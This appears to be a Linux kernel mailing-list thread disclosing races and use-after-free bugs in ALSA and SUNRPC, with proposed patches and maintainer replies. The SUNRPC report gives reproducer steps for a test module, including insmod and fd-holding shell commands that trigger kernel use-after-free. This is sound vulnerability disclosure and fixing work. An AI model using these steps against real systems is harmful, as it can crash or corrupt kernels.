The FREE handler (mixer_oss.c:1308-1360) takes card->mixer_oss, frees it and sets card->mixer_oss = NULL. There is no lock around the pointer read/call or around the mixer_oss pointer, and no module reference is taken by the callback path. snd_mixer_oss_open() (mixer_oss.c:57/73) takes try_module_get(card->module), not this module; the OSS mixer file's .owner may pin the module only while such an fd is open, so rmmod is possible with no OSS fd.

* Failure modes

1. Unloaded-code execution: card thread reads a non-NULL callback, preempted; rmmod runs exit, sets NULL, unloads; card thread resumes and calls into unmapped module text.
2. Double FREE: alsa_mixer_oss_exit() and snd_card_do_free() both invoke the FREE callback for the same card. Both can read card->mixer_oss before either sets it NULL and kfree() the same object; or one frees while the other is inside the handler.
3. Card register/disconnect during rmmod can leave the pointer cleared but a concurrent call already in flight with no completion wait.

* Trigger model

- CONFIG_SND_MIXER_OSS=m (built-in has no unload path);
- one thread registers/disconnects/frees a card, another thread runs

    rmmod snd-mixer-oss;

- the card thread must read the callback before the exit store and reach the indirect call after unload, or both threads must reach the FREE path concurrently.

Hotplug/unbind plus module unload is a realistic administration sequence. It is a narrow but real race; the upstream mutex exists for exactly this reason.

* Impact

- call into unloaded module text: UAF execution, kernel crash,

    potential code execution if the address is reused;

- double free of card->mixer_oss: heap corruption;
- at minimum rmmod/hotplug crash.

* Suggested direction

Restore the upstream synchronization: a static mixer_oss_notify_mutex, snd_mixer_oss_notify(card, cmd) that takes the mutex and checks the pointer, and snd_mixer_oss_set_notify() used by the module init/exit to install/clear the pointer under the same mutex. Ensure the exit path waits for in-flight callbacks (including their module_put()) before the module text is freed.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

#114 lore raw

Re: [PATCH] Re: sound: core: OSS mixer notify callback is invoked without module pin or mutex, racing with rmmod

Quoted 9 lines · 徐晗翔

snd_mixer_oss_notify_callback is a bare exported function pointer called by the card core without any mutex and without pinning the snd-mixer-oss module: a card thread could read the non-NULL pointer, be preempted, let rmmod clear it and unload, and then call into unloaded module text; and the module exit FREE walk could race snd_card_do_free()'s FREE callback into a double free of card->mixer_oss.

Quoted 8 lines

Restore the upstream synchronization: a static mixer_oss_notify_mutex, an internal snd_mixer_oss_notify(card, cmd) that takes the mutex and checks the pointer (used by the register/disconnect/free paths), and an exported snd_mixer_oss_set_notify() that the module uses to install/clear the callback under the same mutex -- so the exit path waits for in-flight callbacks (including their module_put()) before the module text is freed.

This should have been already fixed by the upstream commit f0780cfa6acf.

thanks,

Takashi

Quoted 238 lines
---
 sound/core/init.c          | 38 ++++++++++++++++++++++++++++++--------
 include/sound/core.h       |  5 ++++-
 sound/core/oss/mixer_oss.c | 11 +++++++++--
 3 files changed, 43 insertions(+), 11 deletions(-)
sound/core/init.c +30 -8
@@ -82,8 +82,33 @@
 }
 
 #if IS_ENABLED(CONFIG_SND_MIXER_OSS)
-int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int free_flag);
-EXPORT_SYMBOL(snd_mixer_oss_notify_callback);
+/*
+ * The mixer-oss notify callback is invoked from the card core paths
+ * (register, disconnect, free) with no other serialization available.
+ * Call it through snd_mixer_oss_notify(), which takes a static mutex and
+ * checks the pointer under it: this keeps a callback in flight until it
+ * completes, so the snd-mixer-oss module can clear the pointer and wait
+ * for in-flight callbacks in its exit path instead of racing rmmod
+ * (call into unloaded module text) and double FREE walks
+ * (double free of card->mixer_oss).
+ */
+static DEFINE_MUTEX(mixer_oss_notify_mutex);
+static int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int cmd);
+
+static int snd_mixer_oss_notify(struct snd_card *card, int cmd)
+{
+	guard(mutex)(&mixer_oss_notify_mutex);
+	if (snd_mixer_oss_notify_callback)
+		return snd_mixer_oss_notify_callback(card, cmd);
+	return 0;
+}
+
+void snd_mixer_oss_set_notify(int (*callback)(struct snd_card *card, int cmd))
+{
+	guard(mutex)(&mixer_oss_notify_mutex);
+	snd_mixer_oss_notify_callback = callback;
+}
+EXPORT_SYMBOL_GPL(snd_mixer_oss_set_notify);
 #endif
 
 static int check_empty_slot(struct module *module, int slot)
@@ -530,8 +555,7 @@
 	/* at this point, they cannot respond to any calls except release() */
 
 #if IS_ENABLED(CONFIG_SND_MIXER_OSS)
-	if (snd_mixer_oss_notify_callback)
-		snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
+	snd_mixer_oss_notify(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
 #endif
 
 	/* notify all devices that we are disconnected */
@@ -587,8 +611,7 @@
 
 	card->releasing = true;
 #if IS_ENABLED(CONFIG_SND_MIXER_OSS)
-	if (snd_mixer_oss_notify_callback)
-		snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_FREE);
+	snd_mixer_oss_notify(card, SND_MIXER_OSS_NOTIFY_FREE);
 #endif
 	snd_device_free_all(card);
 	kfree(card->components);
@@ -932,8 +955,7 @@
 		return err;
 
 #if IS_ENABLED(CONFIG_SND_MIXER_OSS)
-	if (snd_mixer_oss_notify_callback)
-		snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_REGISTER);
+	snd_mixer_oss_notify(card, SND_MIXER_OSS_NOTIFY_REGISTER);
 #endif
 	return 0;
 }
include/sound/core.h +4 -1
@@ -300,7 +300,10 @@
 #define SND_MIXER_OSS_NOTIFY_REGISTER	0
 #define SND_MIXER_OSS_NOTIFY_DISCONNECT	1
 #define SND_MIXER_OSS_NOTIFY_FREE	2
-extern int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int cmd);
+/* install/clear the mixer-oss notify callback; the core serializes all
+ * callbacks through a static mutex, so the module's exit path can wait
+ * for in-flight callbacks before its text is unloaded */
+void snd_mixer_oss_set_notify(int (*callback)(struct snd_card *card, int cmd));
 #endif
 
 int snd_card_new(struct device *parent, int idx, const char *xid,
sound/core/oss/mixer_oss.c +9 -2
@@ -1367,7 +1367,7 @@
 	struct snd_card *card;
 	int idx;
 
-	snd_mixer_oss_notify_callback = snd_mixer_oss_notify_handler;
+	snd_mixer_oss_set_notify(snd_mixer_oss_notify_handler);
 	for (idx = 0; idx < SNDRV_CARDS; idx++) {
 		card = snd_card_ref(idx);
 		if (card) {
@@ -1383,7 +1383,14 @@
 	struct snd_card *card;
 	int idx;
 
-	snd_mixer_oss_notify_callback = NULL;
+	/* clear the callback through the core helper: it stores NULL under
+	 * the notify mutex, so any in-flight callback (which holds the
+	 * same mutex) has completed before we proceed, and the card core
+	 * can no longer call into this module while it is being unloaded.
+	 * This also makes the FREE walk below the only FREE invocation,
+	 * instead of racing the card core's snd_card_do_free() on the same
+	 * card->mixer_oss (double free). */
+	snd_mixer_oss_set_notify(NULL);
 	for (idx = 0; idx < SNDRV_CARDS; idx++) {
 		card = snd_card_ref(idx);
 		if (card) {
Quoted 120 lines

-----原始邮件-----
发件人: 徐晗翔 <[email protected]>
发送时间:2026-11-22 15:56:37 (星期日)
收件人: [email protected], [email protected]
抄送: [email protected], [email protected]
主题: sound: core: OSS mixer notify callback is invoked without module pin or mutex, racing with rmmod

snd_mixer_oss_notify_callback is a bare exported function pointer. The card core calls it from snd_card_register(), snd_card_disconnect() and snd_card_do_free() without any mutex and without taking a reference to the snd-mixer-oss module. alsa_mixer_oss_exit() sets the pointer to NULL and then walks all cards calling SND_MIXER_OSS_NOTIFY_FREE, which frees card->mixer_oss. A card thread can read the non-NULL pointer, be preempted, let rmmod finish unloading the module, and then call the old function pointer -- executing code from the unloaded module. The same lack of serialization allows the module's exit FREE walk and the card's do_free FREE callback to race and double-free card->mixer_oss.

Upstream avoids this with a static mixer_oss_notify_mutex plus snd_mixer_oss_notify()/snd_mixer_oss_set_notify() wrappers; the exit path clears the pointer under that mutex, so in-flight callbacks (including their final module_put()) finish before unload. This tree exports the raw pointer and calls it directly in three places.

This is a static report: the race is plain in the source, but I did not build a dynamic reproducer for it. The requirement is CONFIG_SND_MIXER_OSS=m so that an rmmod path exists.

The detailed description:

* Test environment / affected version

Source analysis against mainline 7.3; no dynamic reproducer was run for this case.

* Root cause

sound/core/init.c:85-86:

    int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int free_flag);
    EXPORT_SYMBOL(snd_mixer_oss_notify_callback);

direct calls:

- init.c:533-535 in snd_card_disconnect():

      if (snd_mixer_oss_notify_callback)
          snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
  - init.c:590-591 in snd_card_do_free():
      if (snd_mixer_oss_notify_callback)
          snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_FREE);
  - init.c:935-936 in snd_card_register():
      if (snd_mixer_oss_notify_callback)
          snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_REGISTER);

module side:

  - sound/core/oss/mixer_oss.c:1370:
      snd_mixer_oss_notify_callback = snd_mixer_oss_notify_handler;
  - mixer_oss.c:1386-1394 (alsa_mixer_oss_exit):
      snd_mixer_oss_notify_callback = NULL;
      for each card: snd_mixer_oss_notify_handler(card, SND_MIXER_OSS_NOTIFY_FREE);

The FREE handler (mixer_oss.c:1308-1360) takes card->mixer_oss, frees it and sets card->mixer_oss = NULL. There is no lock around the pointer read/call or around the mixer_oss pointer, and no module reference is taken by the callback path. snd_mixer_oss_open() (mixer_oss.c:57/73) takes try_module_get(card->module), not this module; the OSS mixer file's .owner may pin the module only while such an fd is open, so rmmod is possible with no OSS fd.

* Failure modes

1. Unloaded-code execution: card thread reads a non-NULL callback, preempted; rmmod runs exit, sets NULL, unloads; card thread resumes and calls into unmapped module text.
2. Double FREE: alsa_mixer_oss_exit() and snd_card_do_free() both invoke the FREE callback for the same card. Both can read card->mixer_oss before either sets it NULL and kfree() the same object; or one frees while the other is inside the handler.
3. Card register/disconnect during rmmod can leave the pointer cleared but a concurrent call already in flight with no completion wait.

* Trigger model

- CONFIG_SND_MIXER_OSS=m (built-in has no unload path);
- one thread registers/disconnects/frees a card, another thread runs

    rmmod snd-mixer-oss;

- the card thread must read the callback before the exit store and reach the indirect call after unload, or both threads must reach the FREE path concurrently.

Hotplug/unbind plus module unload is a realistic administration sequence. It is a narrow but real race; the upstream mutex exists for exactly this reason.

* Impact

- call into unloaded module text: UAF execution, kernel crash,

    potential code execution if the address is reused;

- double free of card->mixer_oss: heap corruption;
- at minimum rmmod/hotplug crash.

* Suggested direction

Restore the upstream synchronization: a static mixer_oss_notify_mutex, snd_mixer_oss_notify(card, cmd) that takes the mutex and checks the pointer, and snd_mixer_oss_set_notify() used by the module init/exit to install/clear the pointer under the same mutex. Ensure the exit path waits for in-flight callbacks (including their module_put()) before the module text is freed.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

author
#115 lore raw

sound: timer: snd_utimer_fops lacks .owner, so an open user timer fd does not pin snd-timer

In reply to Greg KH

SNDRV_TIMER_IOCTL_CREATE creates a user-driven timer and returns an anonymous inode fd whose file_operations is snd_utimer_fops. That structure has no .owner = THIS_MODULE. anon_inode_getfile() only calls try_module_get(fops->owner) when owner is non-NULL, so the fd does not hold a reference to the snd-timer module. The module can be unloaded while the fd is still open; a later ioctl(SNDRV_TIMER_IOCTL_TRIGGER) or close(fd) calls snd_utimer_trigger()/snd_utimer_release() in unloaded module text.

The module field does not save this path: utimer->timer->module is set to THIS_MODULE in snd_timer_new(), but try_module_get() is only called by snd_timer_open(), and a utimer fd never goes through snd_timer_open(). snd_utimer_create() also calls snd_timer_new(NULL, ...), so with card == NULL it does not go through snd_device_new(); snd_timer_global_register() (timer.c:1188-1194) only does the device-list insertion and takes no module reference.

This is a static report: the missing .owner and the anon_inode lifetime are unambiguous, but I did not build a dynamic reproducer (it requires CONFIG_SND_TIMER=m together with CONFIG_SND_UTIMER=y).

The detailed description:

* Test environment / affected version

Source analysis against mainline 7.3; no dynamic reproducer was run for this case.

* Root cause

sound/core/timer.c:2175-2179:

static const struct file_operations snd_utimer_fops = {
.llseek = noop_llseek,
.release = snd_utimer_release,
.unlocked_ioctl = snd_utimer_ioctl,
};

Missing .owner = THIS_MODULE.

sound/core/timer.c:2298:

    timer_fd = anon_inode_getfd(utimer->name, &snd_utimer_fops, utimer,
                                O_RDWR | O_CLOEXEC);

fs/anon_inodes.c:141-142:

    if (fops->owner && !try_module_get(fops->owner))
        return ERR_PTR(-ENOENT);

owner == NULL -> no module reference. utimer->timer->module = THIS_MODULE (timer.c:2252) is only consulted by snd_timer_open(), which the fd does not use; snd_timer_global_register() is just list_add_tail() and does not take a module reference.

Upstream snd_utimer_fops has .owner = THIS_MODULE.

* Failure model

1. user ioctl SNDRV_TIMER_IOCTL_CREATE -> snd_utimer_create() ->

     anon_inode_getfd() with the ownerless fops;
  2. no other snd-timer user -> rmmod snd-timer succeeds;
  3. user calls ioctl(SNDRV_TIMER_IOCTL_TRIGGER) or close(fd);
  4. snd_utimer_ioctl()/snd_utimer_release() execute from the unloaded
     module, and dereference utimer->timer / call snd_timer_interrupt().

This is a module-lifetime race, not a data race on a shared field; the concurrency is rmmod vs fd operation.

* Trigger model

- CONFIG_SND_TIMER=m (module) and CONFIG_SND_UTIMER=y;
- a user creates a utimer fd via /dev/snd/timer;
- the module is unloaded before the fd is closed;
- the fd is used (trigger ioctl) or closed.

Requires local access to /dev/snd/timer; no hardware.

* Impact

- execution of unloaded module code: UAF execution, crash;
- if the module address range is reused, potential code execution;
- at minimum a local DoS / module-unload race.

* Suggested direction

Add .owner = THIS_MODULE to snd_utimer_fops. Also consider whether the anon-inode path should hold an explicit module reference for clarity; .owner is the standard fix and matches upstream.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

author
#116 lore raw

[PATCH] Re: sound: timer: snd_utimer_fops lacks .owner, so an open user timer fd does not pin snd-timer

snd_utimer_fops had no .owner, so the anonymous-inode fd created by SNDRV_TIMER_IOCTL_CREATE did not hold a reference to the snd-timer
module: the module could be unloaded while the fd was open, and a later SNDRV_TIMER_IOCTL_TRIGGER or close(fd) executed snd_utimer_trigger()/snd_utimer_release() from unloaded module text. (utimer->timer->module is only consulted by snd_timer_open(), which the fd never goes through.)

Add .owner = THIS_MODULE so anon_inode_getfile() pins the module for the lifetime of the fd, as upstream does.

---
 sound/core/timer.c |  1 +
 1 file changed, 1 insertion(+)
sound/core/timer.c +1 -0
@@ -2173,6 +2173,7 @@
 }
 
 static const struct file_operations snd_utimer_fops = {
+	.owner		=	THIS_MODULE,
 	.llseek		=	noop_llseek,
 	.release	=	snd_utimer_release,
 	.unlocked_ioctl	=	snd_utimer_ioctl,
Quoted 103 lines

-----原始邮件-----
发件人: 徐晗翔 <[email protected]>
发送时间:2026-11-22 15:57:29 (星期日)
收件人: [email protected], [email protected]
抄送: [email protected], [email protected]
主题: sound: timer: snd_utimer_fops lacks .owner, so an open user timer fd does not pin snd-timer

SNDRV_TIMER_IOCTL_CREATE creates a user-driven timer and returns an anonymous inode fd whose file_operations is snd_utimer_fops. That structure has no .owner = THIS_MODULE. anon_inode_getfile() only calls try_module_get(fops->owner) when owner is non-NULL, so the fd does not hold a reference to the snd-timer module. The module can be unloaded while the fd is still open; a later ioctl(SNDRV_TIMER_IOCTL_TRIGGER) or close(fd) calls snd_utimer_trigger()/snd_utimer_release() in unloaded module text.

The module field does not save this path: utimer->timer->module is set to THIS_MODULE in snd_timer_new(), but try_module_get() is only called by snd_timer_open(), and a utimer fd never goes through snd_timer_open(). snd_utimer_create() also calls snd_timer_new(NULL, ...), so with card == NULL it does not go through snd_device_new(); snd_timer_global_register() (timer.c:1188-1194) only does the device-list insertion and takes no module reference.

This is a static report: the missing .owner and the anon_inode lifetime are unambiguous, but I did not build a dynamic reproducer (it requires CONFIG_SND_TIMER=m together with CONFIG_SND_UTIMER=y).

The detailed description:

* Test environment / affected version

Source analysis against mainline 7.3; no dynamic reproducer was run for this case.

* Root cause

sound/core/timer.c:2175-2179:

static const struct file_operations snd_utimer_fops = {
.llseek = noop_llseek,
.release = snd_utimer_release,
.unlocked_ioctl = snd_utimer_ioctl,
};

Missing .owner = THIS_MODULE.

sound/core/timer.c:2298:

    timer_fd = anon_inode_getfd(utimer->name, &snd_utimer_fops, utimer,
                                O_RDWR | O_CLOEXEC);

fs/anon_inodes.c:141-142:

    if (fops->owner && !try_module_get(fops->owner))
        return ERR_PTR(-ENOENT);

owner == NULL -> no module reference. utimer->timer->module = THIS_MODULE (timer.c:2252) is only consulted by snd_timer_open(), which the fd does not use; snd_timer_global_register() is just list_add_tail() and does not take a module reference.

Upstream snd_utimer_fops has .owner = THIS_MODULE.

* Failure model

1. user ioctl SNDRV_TIMER_IOCTL_CREATE -> snd_utimer_create() ->

     anon_inode_getfd() with the ownerless fops;
  2. no other snd-timer user -> rmmod snd-timer succeeds;
  3. user calls ioctl(SNDRV_TIMER_IOCTL_TRIGGER) or close(fd);
  4. snd_utimer_ioctl()/snd_utimer_release() execute from the unloaded
     module, and dereference utimer->timer / call snd_timer_interrupt().

This is a module-lifetime race, not a data race on a shared field; the concurrency is rmmod vs fd operation.

* Trigger model

- CONFIG_SND_TIMER=m (module) and CONFIG_SND_UTIMER=y;
- a user creates a utimer fd via /dev/snd/timer;
- the module is unloaded before the fd is closed;
- the fd is used (trigger ioctl) or closed.

Requires local access to /dev/snd/timer; no hardware.

* Impact

- execution of unloaded module code: UAF execution, crash;
- if the module address range is reused, potential code execution;
- at minimum a local DoS / module-unload race.

* Suggested direction

Add .owner = THIS_MODULE to snd_utimer_fops. Also consider whether the anon-inode path should hold an explicit module reference for clarity; .owner is the standard fix and matches upstream.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

#117 lore raw

Re: [PATCH] Re: sound: timer: snd_utimer_fops lacks .owner, so an open user timer fd does not pin snd-timer

Quoted 11 lines · 徐晗翔

snd_utimer_fops had no .owner, so the anonymous-inode fd created by SNDRV_TIMER_IOCTL_CREATE did not hold a reference to the snd-timer
module: the module could be unloaded while the fd was open, and a later SNDRV_TIMER_IOCTL_TRIGGER or close(fd) executed snd_utimer_trigger()/snd_utimer_release() from unloaded module text. (utimer->timer->module is only consulted by snd_timer_open(), which the fd never goes through.)

Add .owner = THIS_MODULE so anon_inode_getfile() pins the module for the lifetime of the fd, as upstream does.

Already fixed by the upstream commit f9e882ac8257.

thanks,

Takashi

Quoted 120 lines
---
 sound/core/timer.c |  1 +
 1 file changed, 1 insertion(+)
sound/core/timer.c +1 -0
@@ -2173,6 +2173,7 @@
 }
 
 static const struct file_operations snd_utimer_fops = {
+	.owner		=	THIS_MODULE,
 	.llseek		=	noop_llseek,
 	.release	=	snd_utimer_release,
 	.unlocked_ioctl	=	snd_utimer_ioctl,
Quoted 105 lines

-----原始邮件-----
发件人: 徐晗翔 <[email protected]>
发送时间:2026-11-22 15:57:29 (星期日)
收件人: [email protected], [email protected]
抄送: [email protected], [email protected]
主题: sound: timer: snd_utimer_fops lacks .owner, so an open user timer fd does not pin snd-timer

SNDRV_TIMER_IOCTL_CREATE creates a user-driven timer and returns an anonymous inode fd whose file_operations is snd_utimer_fops. That structure has no .owner = THIS_MODULE. anon_inode_getfile() only calls try_module_get(fops->owner) when owner is non-NULL, so the fd does not hold a reference to the snd-timer module. The module can be unloaded while the fd is still open; a later ioctl(SNDRV_TIMER_IOCTL_TRIGGER) or close(fd) calls snd_utimer_trigger()/snd_utimer_release() in unloaded module text.

The module field does not save this path: utimer->timer->module is set to THIS_MODULE in snd_timer_new(), but try_module_get() is only called by snd_timer_open(), and a utimer fd never goes through snd_timer_open(). snd_utimer_create() also calls snd_timer_new(NULL, ...), so with card == NULL it does not go through snd_device_new(); snd_timer_global_register() (timer.c:1188-1194) only does the device-list insertion and takes no module reference.

This is a static report: the missing .owner and the anon_inode lifetime are unambiguous, but I did not build a dynamic reproducer (it requires CONFIG_SND_TIMER=m together with CONFIG_SND_UTIMER=y).

The detailed description:

* Test environment / affected version

Source analysis against mainline 7.3; no dynamic reproducer was run for this case.

* Root cause

sound/core/timer.c:2175-2179:

static const struct file_operations snd_utimer_fops = {
.llseek = noop_llseek,
.release = snd_utimer_release,
.unlocked_ioctl = snd_utimer_ioctl,
};

Missing .owner = THIS_MODULE.

sound/core/timer.c:2298:

    timer_fd = anon_inode_getfd(utimer->name, &snd_utimer_fops, utimer,
                                O_RDWR | O_CLOEXEC);

fs/anon_inodes.c:141-142:

    if (fops->owner && !try_module_get(fops->owner))
        return ERR_PTR(-ENOENT);

owner == NULL -> no module reference. utimer->timer->module = THIS_MODULE (timer.c:2252) is only consulted by snd_timer_open(), which the fd does not use; snd_timer_global_register() is just list_add_tail() and does not take a module reference.

Upstream snd_utimer_fops has .owner = THIS_MODULE.

* Failure model

1. user ioctl SNDRV_TIMER_IOCTL_CREATE -> snd_utimer_create() ->

     anon_inode_getfd() with the ownerless fops;
  2. no other snd-timer user -> rmmod snd-timer succeeds;
  3. user calls ioctl(SNDRV_TIMER_IOCTL_TRIGGER) or close(fd);
  4. snd_utimer_ioctl()/snd_utimer_release() execute from the unloaded
     module, and dereference utimer->timer / call snd_timer_interrupt().

This is a module-lifetime race, not a data race on a shared field; the concurrency is rmmod vs fd operation.

* Trigger model

- CONFIG_SND_TIMER=m (module) and CONFIG_SND_UTIMER=y;
- a user creates a utimer fd via /dev/snd/timer;
- the module is unloaded before the fd is closed;
- the fd is used (trigger ioctl) or closed.

Requires local access to /dev/snd/timer; no hardware.

* Impact

- execution of unloaded module code: UAF execution, crash;
- if the module address range is reused, potential code execution;
- at minimum a local DoS / module-unload race.

* Suggested direction

Add .owner = THIS_MODULE to snd_utimer_fops. Also consider whether the anon-inode path should hold an explicit module reference for clarity; .owner is the standard fix and matches upstream.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

author
#118 lore raw

SUNRPC: rpc_new_client() kfree()s a fully published client on the auth-creation failure path -- use-after-free via concurrent rpc_pipefs mount notifications and via open debugfs/pipefs files (UAF)

In reply to Greg KH

------------------------------------------------------------------------

rpc_new_client() fully publishes the client inside rpc_client_register() -- it is placed on the per-network-namespace sn->all_clients list, gets sysfs and debugfs entries, and, when rpc_pipefs is mounted, a pipedir with userspace-visible files -- and only then tries to create the auth handle. When auth creation fails, the error path tears that published state down and kfree()s the client outright. That kfree() races

(a) concurrent rpc_pipefs mount notifications: the RPC_PIPEFS_MOUNT notifier chain hands out bare struct rpc_clnt pointers from sn->all_clients without taking a reference, and the failure path's err_auth label calls rpc_get_sb_net() *after* it has already observed rpc_pipefs as unmounted and released pipefs_sb_lock, so the whole "mount in progress" window runs between that unlock and the unregister -- with no lock, no reference and no RCU protecting the client. The ordering that protects the normal release path (rpc_free_client() unregisters first, rpc_free_client_work() then removes the pipedir under pipefs_sb_lock, which waits for in-flight notifications) is exactly inverted on the failure path; and

(b) userspace holding the client's debugfs "tasks" file (/sys/kernel/debug/sunrpc/rpc_clnt/<clid>/tasks) or pipefs "<prog>/clntXX/info" file: their open paths take a cl_count reference (refcount_inc_not_zero()) whose release paths run rpc_release_client() against the client -- a contract the normal free path honors via refcount_dec_and_test(), but the constructor failure path ignores entirely and kfree()s regardless.

Both races are kernel use-after-frees on struct rpc_clnt. One patch fixing the failure path to use the reference-counted teardown is below; it removes the inverted err_auth barrier and therefore fixes (a) and (b) together.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #1 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 release tree (kernel.org); the audited tree and the test tree are byte-identical for net/sunrpc/clnt.c, so the line numbers below are from 7.3. Tested with KASAN enabled in QEMU/KVM x86_64 guests. The code paths involved are old and stable; the err_auth label exists in this form in all recent majors.

* Mechanism

Publication order in rpc_client_register() (net/sunrpc/clnt.c):

clnt.c:309 rpc_clnt_debugfs_register() -- debugfs dir + "tasks"
file published, i_private = clnt
clnt.c:311 pipefs_sb = rpc_get_sb_net() -- NULL when rpc_pipefs is
not mounted: the mutex is released immediately
clnt.c:313 rpc_setup_pipedir() -- pipedir + "info" file
(only when mounted), RPC_I(inode)->private = clnt
clnt.c:318 rpc_register_client() -- list_add on
sn->all_clients under rpc_client_lock
clnt.c:322 rpcauth_create() -- may sleep for seconds
(request_module() for an unregistered flavor runs modprobe) and fails deterministically for e.g. sec=krb5 with gssd not running (-EINVAL, auth_gss.c:1044/1051)

Failure path as of 7.3 (clnt.c:330-339):

err_auth:
pipefs_sb = rpc_get_sb_net(net); /* sees NULL, unlocks */
rpc_unregister_client(clnt); /* first time the client
stops being visible */
__rpc_clnt_remove_pipedir(clnt); /* reads clnt->pipefs_sb
without the lock */
...
/* and back in rpc_new_client(): */
out_no_path:
...
kfree(clnt); /* clnt.c:452, ignores
cl_count entirely */

Race (a), the mount-notification window: between rpc_get_sb_net() returning NULL (lock released) and rpc_unregister_client() completing, the client is fully reachable with nothing protecting it. The concurrent mount -t rpc_pipefs runs rpc_fill_super() (rpc_pipe.c:1145-1150) under pipefs_sb_lock and synchronously calls the notification chain; rpc_get_client_for_event() (clnt.c:221-235) scans sn->all_clients, hands back the FIRST client that rpc_clnt_skip_event() does not skip -- for the failing client pipe_dir_name != NULL, pdh_dentry == NULL and cl_count == 1, so it is NOT skipped (clnt.c:162-180) -- releases rpc_client_lock and returns the bare pointer without a reference. If the mount task is still processing that pointer (rpc_pipefs_event() -> __rpc_clnt_handle_event() -> rpc_setup_pipedir_sb() -> rpc_create_client_dir(), which WRITES clnt->pipefs_sb and cl_pipedir_objects.pdh_dentry) when the failure path reaches kfree(), every access from there on is a use-after-free read/write on freed slab. A second interleaving leaves a live clntXX/info file whose RPC_I(inode)->private points at the freed client (rpc_create_client_dir() stores the client as the file private via rpc_new_file(), rpc_pipe.c:873-874/545), so the UAF is also reachable long after the failing mount returned.

Race (b), file-held references: tasks_open() (net/sunrpc/debugfs.c:89-103) and rpc_info_open() (net/sunrpc/rpc_pipe.c:414-436) both do refcount_inc_not_zero(&clnt->cl_count) at open and rpc_release_client(clnt) at release -- the kernel's own contract that "an open file holds a client reference". The normal destruction path honors it: rpc_release_client() -> rpc_free_auth() only frees through refcount_dec_and_test(&clnt->cl_count) (clnt.c:1036). The constructor failure path never decrements at all: it goes straight to kfree() with external references outstanding. The debugfs core documents that this is the file owner's responsibility -- full_proxy_release() forwards ->release unconditionally ("Releasers must not assume that ->i_private is still being meaningful here", fs/debugfs/file.c:415-425), and debugfs removal does not wait for open files (only for in-flight operations). The pipefs info file has no such machinery at all: removal does not wait for openers, and both read(fd) (rpc_show_info(), rpc_pipe.c:397-412, dereferences clnt->cl_xprt/cl_program under RCU) and close(fd) (rpc_info_release() -> rpc_release_client()) hit the freed object. For contrast, the sysfs side is safe: rpc_sysfs_client_destroy() goes through kernfs, and kernfs_drain() (fs/kernfs/dir.c:508-556) waits for in-flight show() to finish.

* Trigger model

Administrator/root actions only (both NFS mounts and rpc_pipefs mount/umount need CAP_SYS_ADMIN; debugfs is root-visible):

- a mount attempt with sec=krb5 and no running gssd fails deterministically inside rpcauth_create() -- and if the rpcsec_gss module is not built in, the request_module() modprobe callout stretches the published window to seconds;
- concurrently, mount -t rpc_pipefs (race (a)) or simply open /sys/kernel/debug/sunrpc/rpc_clnt/<clid>/tasks or /var/lib/nfs/rpc_pipefs/nfs/clntXX/info while the window is open and hold the fd (race (b)); the debugfs directory name is the client id and is trivially pollable.

Consequence: KASAN slab-use-after-free on struct rpc_clnt (reads of cl_count/cl_program/cl_xprt, writes of pipefs_sb/pdh_dentry), slab corruption, refcount_t underflow warnings, a live orphaned pipedir whose info-file private points at freed memory (delayed UAF for any later reader), and a use-after-free escalation chain when the freed-memory garbage steers rpc_release_client() into rpc_free_auth()/rpc_free_client() (list_del on freed nodes, double rpc_free_iostats(), put_cred()/xprt_put()/ida_free() underflows).

* Reproducer (attached: rpcrace.c) and results on 7.3

rpcrace.c is a self-contained verification module (zero kernel-source changes). It registers a private rpc_authops on an unregistered flavor slot whose ->create() callback simply holds the rpc_client_register() publication window open until userspace signals through a module parameter -- giving a deterministic, arbitrarily wide window instead of the natural modprobe-sized one -- and drives rpc_create() from a kernel thread.

    # build
    make -C <kernel-build-dir> M=$PWD modules
    # race (b), pipefs flavor (root; pipefs mounted):
    insmod rpcrace.ko mode=mr03pfs hold_ms=8000
    # helper: scan /tmp/rpc_pipefs/nfs/ for the new clntXX dir, then:
    #   exec 9</tmp/rpc_pipefs/nfs/clntXX/info
    #   echo 1 > /sys/module/rpcrace/parameters/helper_ready   # window closes
    #   sleep 2; cat <&9 > /dev/null; exec 9<&-                # read + close
    # race (b), debugfs flavor (kernel must have CONFIG_SUNRPC_DEBUG;
    # mainline distro kernels that ship debugfs sunrpc have it):
    insmod rpcrace.ko mode=mr03dbg hold_ms=8000
    # helper: open /sys/kernel/debug/sunrpc/rpc_clnt/<clid>/tasks during
    #   the window, signal helper_ready, close the fd afterwards
    # race (a), notification flavor (pipefs NOT mounted):
    insmod rpcrace.ko mode=mr01 stall_ms=4000
    # module stalls the failing thread at err_auth with a kprobe; mount
    #   -t rpc_pipefs concurrently; a second kprobe stalls the mount
    #   inside rpc_create_client_dir(); release order reproduces the
    #   audited interleaving

Results (7.3, KASAN, QEMU 8 vCPU; kasan_multi_shot=1):

- mr03pfs: 29 reports. read(fd): slab-use-after-free in rpc_show_info+0x2a (first hit) and rpc_peeraddr2str (reading clnt->cl_xprt of the freed client); close(fd):
slab-use-after-free in rpc_release_client+0x25 with refcount_dec_not_one on the freed cl_count plus refcount_warn_saturate (the predicted underflow fingerprint). The KASAN report's alloc and free stacks both terminate in rpc_new_client() -- allocation and the kfree() on the failure path -- closing the loop on which object died.
